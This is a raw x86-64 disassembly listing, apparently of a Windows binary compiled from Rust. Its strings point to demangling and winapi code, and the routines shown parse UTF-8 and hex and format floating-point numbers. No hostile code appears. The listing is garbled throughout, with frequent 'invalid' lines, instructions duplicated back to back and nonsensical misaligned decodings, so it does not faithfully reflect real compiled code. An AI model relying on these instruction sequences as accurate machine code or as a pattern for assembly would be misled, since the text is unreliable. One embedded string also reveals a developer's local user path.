mov qword [rsi + 0x10], rcx
mov dword [rsi + 0x10], ecx
mov dword [rsi + 0x10], ecx
inc rax
je 0x14006a2b7
invalid
add dword [rax], 0
add byte [rax], al
test byte [rbx + 0x48000000], al
cmp eax, 0xffffffff
clc
invalid
add byte [rax], al
cmp rax, 0xffffffffffffffff
clc
dec dword [rdi]
test byte [rcx], bh
add byte [rax], al
invalid
je 0x14006a2b7
add byte [rax], al
add byte [rsi - 0x70], ah
nop
mov rcx, rdi
mov rdx, rsi
mov edx, esi
mov edx, esi
call fcn.140067c80
xor eax, 0x48ffffda
cmp dword [rsp + 0x20], 0
and al, 0x20
invalid
cmp qword [rsp + 0x20], 0
and al, 0x20
add byte [rdi], cl
test byte [rcx + 0xf000000], ch
add byte [rax], al
invalid
je 0x14006a300
add byte [rax], al
movups xmm0, xmmword [rsp + 0x20]
adc byte [rsp + 0x20], al
movups xmm1, xmmword [rsp + 0x30]
and al, 0x30
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
mov r13, qword [rsi + 0x20]
outsb dx, byte [rsi]
and byte [rbp - 0x7b], cl
test r13, r13
outsb dx, byte [rsi]
and byte [rbp - 0x7b], cl
test r13, r13
je 0x14006a298
mov rcx, rbx
mov rdx, r13
call fcn.140067ea0
invalid
invalid
test al, al
jne 0x14006a2d6
mov rcx, rsi
mov dl, 1
call fcn.140068c30
test al, al
jne 0x14006a2d6
mov r8, qword [rsi]
inc r12
test r8, r8
jne 0x14006a0ff
jmp case.0x14007e7c4.450
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006a2de
je 0x14006a2de
mov r13d, 1
jmp 0x14006a2ec
add bl, ch
invalid
mov qword [rsi], 0
mov byte [rsi + 8], 0
add byte [rax], al
add dh, al
or byte [rax], r8b
xor r13d, r13d
mov rax, r13
add rsp, 0x68
add esp, 0x68
add esp, 0x68
push 0x5e5f5d5b
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movzx ebx, byte [rsp + 0x28]
mov rcx, qword [rsi + 0x20]
test rcx, rcx
leave
sub byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
invalid
invalid
leave
je 0x14006a336
test bl, bl
lea rax, str.invalid_syntaxrecursion_limit_reached
add eax, 0x711f9
add eax, 0x711f9
adc dword [rdi], eax
add byte [rax - 0x73], cl
lea rdx, [0x1400db520]
adc eax, 0x71202
adc al, byte [rdi]
add byte [rax + 0xf], cl
cmove rdx, rax
ror byte [rdi], 1
mov dh, 0xc3
movzx eax, bl
lea r8, [rax + rax*8]
add r8, 0x10
call fcn.14003de60
std
invalid
test al, al
jne 0x14006a2d6
std
inc dword [rax + rax*8 - 0x38b75f8b]
invalid
mov qword [rsi], 0
mov byte [rsi + 8], bl
jmp case.0x14007e7c4.450
inc rax
mov qword [rsi + 0x10], rax
jmp case.0x14007e7c4.450
lea r11d, [r8 - 0x30]
cmp r11d, 0xa
or dh, byte [rdx + 0x20]
invalid
or r8d, 0x20
add r8d, 0xffffff9f
rcr byte [rdi + 0xac08341], 0x41
or al, byte [rcx - 0x45]
mov ebx, 0xffffffff
invalid
invalid
inc dword [rbp + 0xf]
invalid
invalid
invalid
cmp r11d, 0x10
jae 0x14006a77f
invalid
invalid
add eax, dword [rax]
invalid
add eax, dword [rax]
add al, al
loopne 0x14006a3ec
shl al, 4
or r11b, al
or bl, al
js 0x14006a43b
mov byte [rsp + 0x24], r11b
mov byte [rsp + 0x24], r11b
and al, 0x24
mov word [rsp + 0x25], 0
mov byte [rsp + 0x27], 0
lea rax, [rsp + 0x24]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
mov r8d, 1
lea rsi, [rsp + 0x40]
lea rdx, [rsp + 0x24]
mov rcx, rsi
call fcn.14003f1f0
cmp qword [rsp + 0x40], 0
je 0x14006a46a
mov eax, 0x110000
jmp 0x14006a758
mov eax, 0x110000
cmp r11b, 0xc0
jb 0x14006a758
cmp r11b, 0xe0
jb 0x14006a4a4
push rsp
cmp r11b, 0xf0
jae 0x14006a503
mov r8d, 3
add byte [rax], al
mov r10b, 1
xor eax, eax
jmp 0x14006a518
mov rcx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x70], rcx
and al, 0x70
and al, 0x70
mov qword [rsp + 0x78], rax
lea rdx, [rcx + rax]
test rax, rax
je 0x14006a497
movzx eax, byte [rcx]
test al, al
js 0x14006a4b1
lea r8, [rcx + 1]
jmp 0x14006a6db
mov eax, 0x110000
mov r8, rcx
jmp 0x14006a6db
mov r8d, 2
xor r10d, r10d
xor eax, eax
jmp 0x14006a518
mov r9d, eax
and r9d, 0x1f
movzx r11d, byte [rcx + 1]
mov dh, 0x59
add dword [rcx - 0x7d], eax
jrcxz 0x14006a500
mov dh, 0x59
add dword [rcx - 0x7d], eax
jrcxz 0x14006a500
cmp al, 0xdf
jbe 0x14006a6bd
movzx r10d, byte [rcx + 2]
shl r11d, 6
and r10d, 0x3f
and edx, 0x3f
and edx, 0x3f
or r10d, r11d
cmp al, 0xf0
jb 0x14006a6cd
lea r8, [rcx + 4]
movzx eax, byte [rcx + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and eax, 0x3f
or eax, r10d
or eax, r9d
jmp 0x14006a6db
add dword [rax], eax
add byte [rcx - 0x80], al
sti
clc
cmp r11b, 0xf8
jae 0x14006a758
mov r8d, 4
mov al, 1
xor r10d, r10d
xor edx, edx
mov byte [rsp + 0x24], r11b
mov word [rsp + 0x25], 0
and al, 0x25
add byte [rax], al
mov byte [rsp + 0x27], 0
lea rsi, [rsp + 0x24]
and al, 0x27
add byte [rax - 0x73], cl
je 0x14006a551
and al, 0x48
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x30], r8
mov dword [rsp + 0x30], eax
cmp rdx, 2
jb 0x14006a431
invalid
invalid
invalid
lea rdi, [r9 + 2]
lea rsi, [rdx - 2]
lea esi, [rdx - 2]
lea esi, [rdx - 2]
mov qword [rcx], rdi
mov qword [rcx + 8], rsi
mov dword [rcx + 8], esi
mov dword [rcx + 8], esi
movzx r14d, byte [r9]
movzx ebx, byte [r9 + 1]
lea edi, [r14 - 0x30]
jle 0x14006a52e
jle 0x14006a52e
cmp edi, 0xa
jb 0x14006a581
or r14d, 0x20
add r14d, 0xffffff9f
add r14d, 0xa
mov edi, 0xffffffff
cmovae edi, r14d
cmp edi, 0xf
ja 0x14006a77f
lea ebp, [rbx - 0x30]
cmp ebp, 0xa
jb case.0x140047968.248
invalid
shl dil, 4
or bpl, dil
mov byte [rsp + 0x25], bpl
cmp r11b, 0xe0
sti
loopne 0x14006a5c3
invalid
pop rsi
invalid
invalid
invalid
sti
loopne 0x14006a5c3
invalid
dec dword [rax - 0x7d]
inc byte [rdx]
cmp rsi, 2
jb 0x14006a431
lea rsi, [r9 + 4]
lea r11, [rdx - 4]
mov qword [rcx], rsi
mov qword [rcx + 8], r11
mov dword [rcx + 8], ebx
movzx ebx, byte [r9 + 2]
movzx edi, byte [r9 + 3]
lea esi, [rbx - 0x30]
cmp esi, 0xa
jb case.0x14005f0f7.157
lea ebx, [rdi - 0x30]
cmp ebx, 0xa
jb 0x14006a620
or edi, 0x20
add edi, 0xffffff9f
add edi, 0xa
invalid
or bh, byte [rbx - 1]
cmovae ebx, edi
cmp ebx, 0xf
ja 0x14006a77f
shl sil, 4
or bl, sil
mov byte [rsp + 0x26], bl
test r10b, r10b
jne 0x14006a417
cmp r11, 2
jb 0x14006a431
lea r10, [r9 + 6]
add rdx, 0xfffffffffffffffa
mov qword [rcx], r10
mov qword [rcx + 8], rdx
movzx r10d, byte [r9 + 4]
movzx edx, byte [r9 + 5]
lea ecx, [r10 - 0x30]
cmp ecx, 0xa
jb 0x14006a67e
or r10d, 0x20
add r10d, 0xffffff9f
add r10d, 0xa
mov ecx, 0xffffffff
cmovae ecx, r10d
cmp ecx, 0xf
ja 0x14006a77f
lea r9d, [rdx - 0x30]
cmp r9d, 0xa
jb 0x14006a6a5
or edx, 0x20
add edx, 0xffffff9f
add edx, 0xa
mov r9d, 0xffffffff
cmovae r9d, edx
cmovae ecx, edx
cmp r9d, 0xf
ja 0x14006a77f
test al, al
je 0x14006a766
shl cl, 4
or r9b, cl
mov byte [rsp + 0x27], r9b
mov byte [rsp + 0x27], cl
jmp 0x14006a417
lea r8, [rcx + 2]
shl r9d, 6
or r9d, r11d
mov eax, r9d
jmp 0x14006a6db
lea r8, [rcx + 3]
shl r9d, 0xc
or r10d, r9d
mov eax, r10d
cmp r8, rdx
je 0x14006a749
movzx r9d, byte [r8]
test r9b, r9b
jns 0x14006a7b3
cmp r9b, 0xe0
cmp cl, 0xe0
jb 0x14006a7b3
add byte [rax], al
cmp r9b, 0xf0
jb 0x14006a7b3
invalid
mov dl, 0
add byte [rax], al
invalid
movzx r10d, byte [r8 + 1]
and r10d, 0x3f
movzx r11d, byte [r8 + 2]
and r11d, 0x3f
movzx r8d, byte [r8 + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 0xc
shl r11d, 6
invalid
or r11d, r10d
and r8d, 0x3f
invalid
or r8d, r11d
or r8d, r9d
invalid
invalid
cmp r8d, 0x110000
sete r8b
cmp eax, 0x110000
jne 0x14006a753
jmp 0x14006a7b3
mov r8b, 1
cmp eax, 0x110000
je 0x14006a7b3
test r8b, r8b
je 0x14006a7b3
pop rbx
add rsp, 0xb0
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
lea rax, str.C:Users_runneradmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustc_demangle_0.1.23_src_v0.rs
mov ecx, 3
add byte [rax], al
add byte [rax], al
mov rdx, r8
mov r8, rax
shr al, 0xb3
pushfq
add eax, dword [rax]
shr al, 0xb3
pushfq
add eax, dword [rax]
ud2
or ecx, dword [rax - 0x73]
or eax, 0x7ba3a
invalid
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
add byte [rbp + rcx*4 + 5], cl
jmp 0x14006a796
lea r8, str.C:Users_runneradmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustc_demangle_0.1.23_src_v0.rs
mov edx, 0x2b
add byte [rdx + 0x2b], bh
call fcn.1400a4530
ud2
add byte [rdi], cl
or ecx, dword [rax - 0x73]
or eax, 0x78af0
lea r8, str.C:Users_runneradmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustc_demangle_0.1.23_src_v0.rs
mov edx, 0x28
call fcn.1400a4530
ud2
call fcn.14006aae0
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
lea rax, [0x14006abc0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x50], rax
lea rax, [0x1400489c0]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x38]
mov qword [rsp + 0x60], rax
lea rax, [fcn.14003d600]
mov qword [rsp + 0x68], rax
lea rax, str.internal_error:_entered_unreachable_code:_str::from_utf8_____was_expected_to_have_1_char__but__chars_were_found
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 4
mov qword [rsp + 0xa0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x90], rsi
mov dword [rsp + 0x90], esi
mov qword [rsp + 0x98], 3
add byte [rbx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x70bff
lea rcx, [rsp + 0x80]
call fcn.1400a4370
ud2
mov dword [rsp + 0x20], eax
mov rcx, r13
mov rdx, r14
xor r8d, r8d
call fcn.1400a4aa0
ud2
mov eax, ebx
mul rcx
lea eax, [rdx + rdx*4]
cmp eax, r11d
jne 0x14006e067
mov ecx, 0xffffffff
nop dword [rax]
mov rax, r11
mul rdi
shr rdx, 2
lea eax, [rdx + rdx*4]
inc ecx
cmp eax, r11d
mov r11, rdx
je 0x14006df30
cmp ecx, esi
jb 0x14006e0cd
mov bpl, 1
xor r13d, r13d
jmp 0x14006e09f
invalid
add byte [rcx + 0x5ed69e9], cl
sal esp, 1
inc ecx
in eax, dx
adc al, 0x31
rol byte [rbx - 0x6af00007], 0xc0
sub ebp, eax
add ecx, ebp
mov eax, ecx
neg eax
mov dword [rsp + 0x2c], ecx
imul r9d, ecx, 0x3ed6cb1
shr r9d, 0x13
shr ecx, 0x13
shr ecx, 0x13
cdqe
shl rax, 4
lea rcx, [0x1400dce00]
mov r10, r11
or r10, 2
mov r15, qword [rax + rcx]
mov r8, qword [rax + rcx + 8]
mov rax, r15
mul r10
mov rcx, rdx
mov rax, r8
mov eax, eax
mov eax, eax
mul r10
mov r10, rdx
mov r14, rax
add r14, rcx
adc r10, 0
mov ecx, ebp
sub ecx, r9d
add cl, 0x3c
shrd r14, r10, cl
shr r10, cl
not rbx
add rbx, r11
mov rax, r15
mul rbx
mov r12, rdx
mov rax, r8
mul rbx
mov r9, rdx
mov rbx, rax
add rbx, r12
adc r9, 0
shrd rbx, r9, cl
shr r9, cl
mov rax, r15
clc
clc
mul r11
mov r15, rdx
mov rax, r8
mul r11
mov r8, rdx
add rax, r15
adc r8, 0
shrd rax, r8, cl
shr r8, cl
test cl, 0x40
cmove r10, r14
cmove r9, rbx
cmove r8, rax
cmove eax, eax
cmove eax, eax
cmp ebp, 2
jae 0x14006e044
mov qword [rsp + 0x30], rsi
mov eax, esi
and eax, 1
sete cl
xchg esp, eax
rol dword [rcx + 0x20], 0xcd
xchg esp, eax
rol dword [rcx + 0x20], 0xcd
sub r10, rax
mov bpl, 1
mov ch, 1
mov ch, 1
jmp 0x14006e1b2
cmp ebp, 0x3e
ja case.0x140023569.600
ja case.0x140023569.600
mov rax, 0xffffffffffffffff
mov ecx, ebp
shl rax, cl
dec dword [rcx - 0x1f2cb717]
not rax
test r11, rax
je 0x14006e1a7
mov ebp, dword [rsp + 0x2c]
jmp case.0x140023569.606
test byte [rsp + 0x30], 1
xor byte [rcx], al
jne 0x14006e0aa
not rbx
add rbx, r11
fstp xword [rcx - 1]
fstp xword [rcx - 1]
nop dword [rax]
add byte [rax], 0
add byte [rax], al
add byte [rax], al
mov rax, rbx
mul rdi
out 0x48, eax
shr edx, 2
out 0x48, eax
shr edx, 2
lea eax, [rdx + rdx*4]
inc ecx
invalid
sar dword [rcx], 0xd8
cmp eax, ebx
mov rbx, rdx
je 0x14006e080
sal dword [rdx + rbp*8 + 0x39], cl
int1
cmp ecx, esi
jb 0x14006e0cd
mov r13b, 1
xor ebp, ebp
mov eax, esi
mov dword [rsp + 0x2c], esi
jmp 0x14006e1b2
mov ecx, 0xffffffff
nop
mov rax, r14
mul rdi
shr rdx, 2
lea eax, [rdx + rdx*4]
add al, 0x92
inc ecx
cmp eax, r14d
invalid
mov r14, rdx
je 0x14006e0b0
invalid
cmp ecx, esi
adc r10, 0xffffffffffffffff
mov ebp, esi
mov rax, r10
shr rax, 2
add cl, byte [rax - 0x45]
ret
cmc
sub byte [rdi + rcx*4 - 0x3e], bl
cmc
sub byte [rax - 9], cl
jrcxz 0x14006e12d
mov ebx, edx
add cl, byte [rax - 0x45]
ret
cmc
sub byte [rdi + rcx*4 - 0x3e], bl
cmc
sub byte [rax - 9], cl
jrcxz 0x14006e12d
mov ebx, edx
shr r11, 2
mov rax, r9
add cl, byte [rcx + rcx*4 - 0x38]
shr rax, 2
mul rbx
mov rcx, rdx
shr rcx, 2
xor esi, esi
cmp r11, rcx
jbe case.0x14007e7c4.456
invalid
and eax, 0x48c0894c
shr eax, 2
mov rax, r8
shr rax, 2
mul rbx
shr rdx, 2
imul eax, edx, 0xffffff9c
add eax, r8d
cmp eax, 0x32
invalid
xor al, byte [rax + 0xf]
xchg ebx, eax
invalid
setae sil
mov ebx, 2
add byte [rcx - 0x77], cl
shr bl, 1
invalid
add byte [rcx - 0x77], cl
shr bl, 1
or byte [rcx], dh
xor ebx, ebx
mov rcx, r9
mov ecx, ecx
xor ebx, ebx
mov rcx, r9
mov ecx, ecx
mov ecx, ecx
leave
mov r11, r10
mov ebx, edx
mov rax, r11
mul rdi
mul edi
mul edi
mov r9, rdx
mov rax, rcx
mul rdi
mul edi
mul edi
shr r9, 3
shr rdx, 3
shr edx, 3
shr edx, 3
add ecx, dword [rcx + 0x39]
sal dword [rsi + 0x48], 1
cmp r9, rdx
jbe 0x14006e193
nop dword [rax + rax]
add byte [rax], al
mov r10, r8
mov edx, eax
mov rcx, rdx
mov rax, r8
mov eax, eax
mov eax, eax
mul rdi
mov r8, rdx
shr r8, 3
shr eax, 3
shr eax, 3
inc ebx
mov rax, r9
mov eax, ecx
mov eax, ecx
enter 0xfffffffffffff748, 0xffffffffffffffe7
mul rdi
mul edi
mov r9, rdx
mov rax, rcx
mul rdi
mul edi
ror dword [rax - 0x77], 1
enter 0xfffffffffffff748, 0xffffffffffffffe7
mul rdi
mul edi
mul edi
shr r9, 3
shr rdx, 3
cmp r9, rdx
sal dword [rdi - 0x31], 1
sal dword [rdi - 0x31], 1
lea eax, [r8 + r8]
lea eax, [rax + rax*4]
sub r10d, eax
cmp r10d, 5
cli
add eax, 0xc6930f40
xchg ebx, eax
invalid
xchg ebx, eax
invalid
cmp r8, rcx
enter 0xf41, 0xffffffffffffff94
invalid
sete r13b
or r13b, sil
cmc
cmc
mov rdi, qword [rsp + 0x38]
jmp 0x14006e2fc
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x30], rsi
mov bpl, 1
mov ch, 1
mov ch, 1
add dword [rbp + 0x31], eax
in eax, dx
xor r13d, r13d
mov rax, r10
mov eax, edx
ror byte [rax - 9], 1
mul rdi
mov r11, rdx
out 0x49, eax
mov ebx, edx
shr r11, 3
jmp 0x14006e1c2
mov rax, r9
mov eax, ecx
mul rdi
shr rdx, 3
shr edx, 3
xor esi, esi
xor ebx, ebx
fisttp dword [rcx + 0x39]
sal dword [rsi + 0x70], cl
fisttp dword [rcx + 0x39]
sal dword [rsi + 0x70], cl
xor r14d, r14d
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
mov rcx, rdx
mov ecx, edx
lea esi, [rdx + rdx]
mov rax, r8
mov eax, eax
mov eax, eax
mul rdi
mul edi
mov r10, rdx
lea eax, [rsi + rsi*4]
add al, 0xb6
shr r10, 3
shr edx, 3
lea edx, [r10 + r10]
lea esi, [rdx + rdx*4]
xchg edx, eax
adc cl, byte [rbp - 0x21086dcc]
xchg edx, eax
neg esi
add sil, r8b
cmp eax, r9d
sete al
and r13b, al
and ch, al
test r14b, r14b
sete al
and bpl, al
and ch, al
and ch, al
mov rax, r11
mul rdi
inc ebx
ret
mov r11, rdx
mov ebx, edx
mov ebx, edx
shr r11, 3
mov rax, rcx
mov eax, ecx
mul rdi
mul edi
shr rdx, 3
mov r8, r10
mov r9, rcx
mov ecx, ecx
leave
mov r14d, esi
cmp r11, rdx
ja 0x14006e1e0
test r13b, r13b
jne case.0x140041cc2.402
mov rcx, r9
mov r10, r8
test r13b, r13b
je case.0x14003d841.463
enter 0xfffffffffffff748, 0xffffffffffffffe7
mul edi
out 0x49, eax
mov ecx, edx
mov r9, rdx
shr r9, 3
lea eax, [r9 + r9]
lea eax, [rax + rax*4]
cmp eax, ecx
jne case.0x14003d841.463
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x30], cl
mov eax, edx
mov rax, r10
mul rdi
mov r8, rdx
mov eax, edx
invalid
out 0x49, eax
mov eax, edx
invalid
ror byte [rcx - 0x3f], 1
call 0x144942583
lea eax, [rax + rax]
lea r11d, [rax + rax*4]
neg r11d
invalid
shr r8, 3
lea eax, [r8 + r8]
lea eax, [rax + rax]
lea eax, [rax + rax]
lea r11d, [rax + rax*4]
neg r11d
invalid
fild dword [rbp]
add r11b, r10b
test sil, sil
test dh, dh
sete al
invalid
rol dword [rax - 0x7c], cl
test byte [rdi], 0x94
rol byte [rax + 0x20], 0xc5
and bpl, al
invalid
inc ebx
mov rax, r9
ret
mul rdi
mul edi
shr rdx, 3
lea eax, [rdx + rdx]
invalid
adc cl, byte [rbp - 0x76b37ffc]
leave
lea eax, [rax + rax*4]
mov rcx, r9
mov ecx, ecx
or byte [rcx + rcx*4 - 0x37], 0x4d
mov edx, eax
mov r10, r8
mov esi, r11d
cmp eax, r9d
cmp eax, ecx
fiadd word [rcx + rdi - 0x38]
mov r9, rdx
je 0x14006e270
jmp case.0x140046e3e.396
mov r11d, esi
mov r8, r10
invalid
rol byte [rcx + rcx*4 - 0x40], 1
mov eax, r8d
mov eax, eax
and al, 1
or al, 4
cmp r11b, 5
cmp bl, 5
cmp bl, 5
add eax, 0xd3b60f41
movzx edx, r11b
movzx eax, al
cmovne eax, edx
ret 0x8440
in eax, dx
cmove eax, edx
ret 0x3949
enter 0xffffffffffff940f, 0xffffffffffffffc1
not r13b
invalid
ror byte [rdi], 0x45
ret 0x8440
ret 0x8440
ret 0x3949
invalid
or r13b, byte [rsp + 0x30]
cmp al, 5
setae al
and r13b, cl
or r13b, al
invalid
mov rdi, qword [rsp + 0x38]
mov ebp, dword [rsp + 0x2c]
add ebp, ebx
movzx ebx, r13b
add rbx, r8
add ebx, eax
mov eax, 0x11
movabs rcx, 0x2386f26fc0ffff
and eax, dword [rax]
and eax, dword [rax]
add byte [rax + 0x39], cl
retf
cmp rbx, rcx
ja 0x14006e426
mov eax, 0x10
movabs rcx, 0x38d7ea4c67fff
mov ecx, 0xa4c67fff
jle case.0x14003e0a6.457
add eax, dword [rax]
mov ecx, 0xa4c67fff
jle case.0x14003e0a6.457
add eax, dword [rax]
cmp rbx, rcx
ja 0x14006e426
int1
add byte [rax], al
invalid
mov eax, 0xf
movabs rcx, 0x5af3107a3fff
pop rdx
add byte [rax], al
add byte [rax + 0x39], cl
retf
ja 0x14006e426
xchg ecx, ebx
add byte [rax], al
invalid
xchg ecx, ebx
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov rcx, rbx
shr rcx, 0xd
shr ecx, 0xd
shr ecx, 0xd
mov eax, 0xe
cmp rcx, 0x48c27394
cmp ecx, 0x48c27394
cmp ecx, 0x48c27394
ja 0x14006e426
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, ebx
mov rcx, rbx
shr rcx, 0xc
or al, 0xb8
or eax, 0x48000000
add byte [rax], al
cmp rcx, 0xe8d4a50
push rax
lea rcx, [rsi]
lea ecx, [rsi]
jmp 0x140149b7c
or al, 0xb8
or eax, 0x48000000
add byte [rax], al
cmp rcx, 0xe8d4a50
push rax
lea rcx, [rsi]
lea ecx, [rsi]
push rax
lea rcx, [rsi]
lea ecx, [rsi]
ja 0x14006e426
add byte [rax - 0x77], cl
invalid
mov rcx, rbx
shr rcx, 0xb
mov eax, 0xc
or al, 0
add byte [rax], al
or al, 0
add byte [rax], al
cmp rcx, 0x2e90edc
ja 0x14006e426
invalid
mov es, word [rax]
add byte [rax], al
jmp 0xce8df297
xchg dword [rsi + 0x48000000], ecx
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, ebx
mov rcx, rbx
mov ecx, ebx
shr rcx, 0xa
mov eax, 0xb
add byte [rax], al
add byte [rax], al
cmp rcx, 0x9502f8
ja 0x14006e426
mov eax, 0xa
cmp rbx, 0x3b9ac9ff
ja 0x14006e426
add byte [rax - 0x7f], cl
sti
dec ecx
invalid
mov eax, 9
cmp rbx, 0x5f5e0ff
jmp rax
cmc
invalid
ja 0x14006e426
add byte [rax], al
add byte [rax - 0x7f], cl
sti
jmp rax
mov eax, 8
cmp rbx, 0x98967f
cwde
add byte [rdi + 0x4f], dh
mov eax, 7
cmp rbx, 0xf423f
add byte [rax], al
add byte [rax - 0x7f], cl
sti
invalid
ja 0x14006e426
mov eax, 6
cmp rbx, 0x1869f
add dword [rax], eax
add dword [rax], eax
ja 0x14006e426
mov eax, 5
cmp rbx, 0x270f
ja 0x14006e426
mov eax, 4
cmp rbx, 0x3e7
add byte [rax], al
add byte [rax - 0x7f], cl
sti
out 3, eax
add byte [rax], al
ja 0x14006e426
mov eax, 3
cmp rbx, 0x63
ja 0x14006e426
invalid
or al, 0x48
cmp ebx, 0xa
cmp rbx, 0xa
mov eax, 1
sbb eax, 0xffffffff
mov r15d, eax
movsxd r12, ebp
in eax, 0x4f
lea esi, [rdi + riz]
in eax, 0x4f
lea esi, [rdi + riz]
test r12d, r12d
mov r13, qword [rsp + 0x40]
insb byte [rdi], dx
and al, 0x40
insb byte [rdi], dx
and al, 0x40
js 0x14006e478
cmp r14, 0x11
jge 0x14006e478
mov ecx, edi
mov dl, 0x30
mov r8, r12
call sub.VCRUNTIME140.dll_memset
lea rax, [r14 + r13]
mov word [rdi + rax], 0x302e
add r13, r14
add r13, 2
jmp 0x14006e683
add al, byte [rax]
invalid
lea rsi, [r14 - 1]
cmp rsi, 0x10
invalid
adc byte [rbx + 0x33], dh
invalid
inc esi
lea rdx, [rdi + rsi]
mov rcx, rbx
call fcn.14006e6a0
or eax, dword [rdx]
add byte [rax], al
invalid
lea rdx, [rdi + r13]
inc rdx
lea rcx, [rdi + r13]
or al, 0x2f
mov r8, r14
call sub.VCRUNTIME140.dll_memmove
add r14, r13
add byte [rbp + 1], cl
out dx, al
mov byte [rdi + r14], 0x2e
jmp 0x14006e680
add byte [rcx - 0x73], cl
add al, 0x48
cmp rax, 5
cmp rax, 5
jae 0x14006e50d
mov word [rdi + r13], 0x2e30
add al, 0x2f
xor byte [rsi], ch
mov esi, 2
sub rsi, r14
test r14, r14
test esi, esi
test esi, esi
jns 0x14006e4f4
lea rcx, [rdi + r13]
lea ecx, [rdi + rbp]
add rcx, 2
add ecx, 2
add cl, byte [rax - 0x7d]
cmp rsi, 4
mov r8d, 3
add eax, dword [rax]
add byte [rax], al
inc byte [rcx + rax*2]
mov eax, 3
add eax, dword [rax]
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
cmovge r8, rsi
cmovge eax, esi
add r8, 0xfffffffffffffffe
add eax, 0xfffffffe
mov dl, 0x30
call sub.VCRUNTIME140.dll_memset
invalid
add byte [rbp + 1], cl
std
add r13, r15
add r13, rsi
add rdi, r13
out dx, eax
out dx, eax
mov rcx, rbx
mov rdx, rdi
call fcn.14006e6a0
add dword [rax], eax
add cl, ch
jbe 0x14006e50c
add byte [rax], al
add dword [rax], eax
add cl, ch
jbe 0x14006e50c
add byte [rax], al
add byte [rcx - 0x7d], al
inc dword [rcx]
invalid
cmp r15d, 1
cmp edi, 1
add dword [rbp + 0x1f], esi
jne 0x14006e532
add bl, 0x30
mov byte [rdi + r13], bl
invalid
mov byte [rdi + r13 + 1], 0x65
lea rax, [rdi + r13]
add al, 0x2f
invalid
add al, 0x2f
add rax, 2
test r14, r14
add cl, byte [rbp - 0x7b]
idiv byte [rsi + 0x4a]
jle 0x14006e577
jle 0x14006e577
mov rcx, rsi
jmp 0x14006e585
push rbx
mov r12, rdi
mov esp, edi
cld
lea rdi, [r15 + r13]
lea rdx, [r12 + rdi]
inc rdx
mov rcx, rbx
call fcn.14006e6a0
add byte [rax], al
add byte [rax], al
movzx eax, byte [r12 + r13 + 1]
mov byte [r12 + r13], al
mov byte [rsp + rbp], al
mov byte [rsp + rbp], al
mov byte [r12 + r13 + 1], 0x2e
mov byte [r12 + rdi + 1], 0x65
lea rax, [r12 + rdi]
invalid
lea rax, gs:[r12 + rdi]
cmp al, 0x48
add eax, 2
add rax, 2
test r14, r14
jle 0x14006e5ef
invalid
add byte [rax], 0
add byte [rax], al
invalid
mov es, word [rax + 0x48000000]
mov edx, esi
mov rdx, rsi
jmp 0x14006e5fd
xchg byte [rax], al
add byte [rax], al
mov byte [rax], 0x2d
inc rax
mov ecx, 1
add dword [rax], eax
add byte [rax], al
sub eax, 0xb9c0ff48
add dword [rax], eax
add byte [rax], al
sub rcx, r14
or r13, 2
cmp rcx, 0x63
jbe 0x14006e5c7
mov edx, ecx
imul rdx, rdx, 0x51eb851f
shr rdx, 0x25
shr edx, 0x25
lea r8d, [rdx + 0x30]
lea eax, [rdx + 0x30]
lea eax, [rdx + 0x30]
mov byte [rax], r8b
mov byte [rax], al
imul edx, edx, 0x64
sub ecx, edx
lea rdx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
push rcx
add byte [rdi], al
add byte [rdi], cl
mov bh, 0xc
mov word [rax + 1], cx
mov dword [rax + 1], ecx
push rcx
add byte [rdi], al
add byte [rdi], cl
mov bh, 0xc
mov word [rax + 1], cx
mov dword [rax + 1], ecx
shr rsi, 0x3f
add rsi, 3
mov byte [rbx], 0x49
add ebp, esi
jmp 0x14006e683
invalid
add byte [rax], al
invalid
out dx, al
invalid
mov esp, 0x48000000
cmp ecx, 9
cmp rcx, 9
jbe 0x14006e660
lea rdx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx ecx, word [rdx + rcx*2]
mov word [rax], cx
shr rsi, 0x3f
out dx, al
invalid
or rsi, 2
add r13, rsi
jmp 0x14006e683
add byte [rax], al
out dx, al
invalid
add byte [rax], al
mov byte [rax], 0x2d
inc rax
mov edx, 1
sub rdx, r14
lea rcx, [r15 + r13]
add rcx, 2
cmp rdx, 0x63
cli
invalid
jbe 0x14006e641
mov r8d, edx
imul r8, r8, 0x51eb851f
shr r8, 0x25
lea r9d, [r8 + 0x30]
mov byte [rax], r9b
mov byte [rax], cl
mov byte [rax], cl
imul r8d, r8d, 0x64
sub edx, r8d
